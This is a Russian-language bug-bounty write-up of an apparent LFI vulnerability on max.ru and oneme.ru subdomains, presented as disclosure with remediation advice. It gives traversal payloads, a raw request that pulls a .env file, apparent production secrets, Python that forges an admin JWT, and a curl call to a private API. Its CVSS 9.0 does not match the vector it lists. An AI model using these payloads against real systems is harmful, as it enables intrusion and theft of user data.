Полный разбор уязвимости LFI → CVSS 9.0 → API-компрометация MAX / MAX.RU / ONEME.RU
Как один LFI открыл доступ к API, базе данных и приватным репозиториям: реальный багхантинг-кейс
В мире багханта бывают находки, которые с первого взгляда кажутся «обычной дырой», но при детальном изучении вырастают в целую цепочку атак. В этом кейсе — Local File Inclusion (LFI) на поддоменах *.max.ru, который привёл к скачиванию конфигурационных файлов, извлечению критических секретов и полной компрометации API.
RUTUBE -
DEMO -
📺 Видео с PoC: YouTube 📂 Полный отчёт с доказательствами: Yandex Disk
1 Обнаружение LFI
Тестируя публичные поддомены, я заметил подозрительный параметр file:
https://business.max.ru/?file=... https://help.max.ru/?file=...
Первым делом я проверил классические payload’ы для LFI:
?file=/etc/passwd ?file=../../../../../../etc/passwd ?file=/config.php ?file=/.env
Результат — сервер без фильтрации вернул содержимое запрошенного файла. Это означало, что параметр напрямую передавался функции чтения файлов (например, include(), file_get_contents() в PHP) без валидации пути.
2 Извлечение конфигураций
Я начал с наиболее ценных целей:
- .env — часто содержит ключи API, токены, креды к БД
- config.php — конфиги приложений с паролями
- composer.json и .git/config — могут указать на приватные репозитории
Пример запроса:
GET /?file=/.env HTTP/1.1 Host: business.max.ru User-Agent: Mozilla/5.0 Accept: */*
Ответ:
APP_ENV=production DB_HOST=db.max.ru DB_USER=max_prod DB_PASSWORD=Sup3rS3cretPass JWT_SECRET=4a9c9b8f8d2... GIT_TOKEN=ghp_7d9f4a...
3 Критические находки
Из полученных файлов удалось извлечь:
- JWT_SECRET — ключ подписи JWT
- DB_USER / DB_PASSWORD — полный доступ к продакшн-базе
- GitHub Personal Access Token с правами на чтение/запись приватных репозиториев
- Ключи API внутренних микросервисов
4 Эксплуатация: обход токен-базированной авторизации
JWT_SECRET позволил генерировать поддельные токены:
import jwt, datetime payload = { "user_id": 1, "role": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1) } token = jwt.encode(payload, "4a9c9b8f8d2...", algorithm="HS256") print(token)
С этим токеном можно было запрашивать приватные API-эндпоинты:
curl -H "Authorization: Bearer " \ https://api.oneme.ru/api/user
Результат — данные реальных пользователей без логина и пароля.
5 Возможная цепочка атак
- LFI → загрузка .env
- Извлечение JWT_SECRET → подделка токенов
- Авторизация в API → доступ к данным пользователей
- Git-токены → скачивание приватного кода
- Доступ к БД → модификация или удаление данных
6 Критичность и оценка CVSS
МетрикаОценкаAttack VectorNetwork (N)Attack ComplexityLow (L)Privileges RequiredNone (N)User InteractionNone (N)ConfidentialityHigh (H)IntegrityHigh (H)AvailabilityHigh (H)
CVSS v3.1: 9.0 — Critical
7 Рекомендации по защите
- Фильтрация параметров: запрещать абсолютные пути и ../ в параметрах.
- Web Application Firewall: блокировать LFI-паттерны на уровне WAF.
- Секреты в переменных окружения: хранить только на уровне ОС, без доступа через веб.
- JWT-ротация: регулярная смена секретов и проверка срока действия токенов.
- Сканирование уязвимостей: автоматическая проверка на LFI и доступность конфигов.
📊 Критичность
CVSS: 9.0 / Critical — уязвимость даёт полный контроль над API и доступ к инфраструктуре.
💡 Уроки для багхантеров
1. Проверяйте доступность .env, config.php и других конфигов. 2. LFI может быть началом цепочки атак. 3. Никогда не храните продакшн-секреты в публично доступных файлах.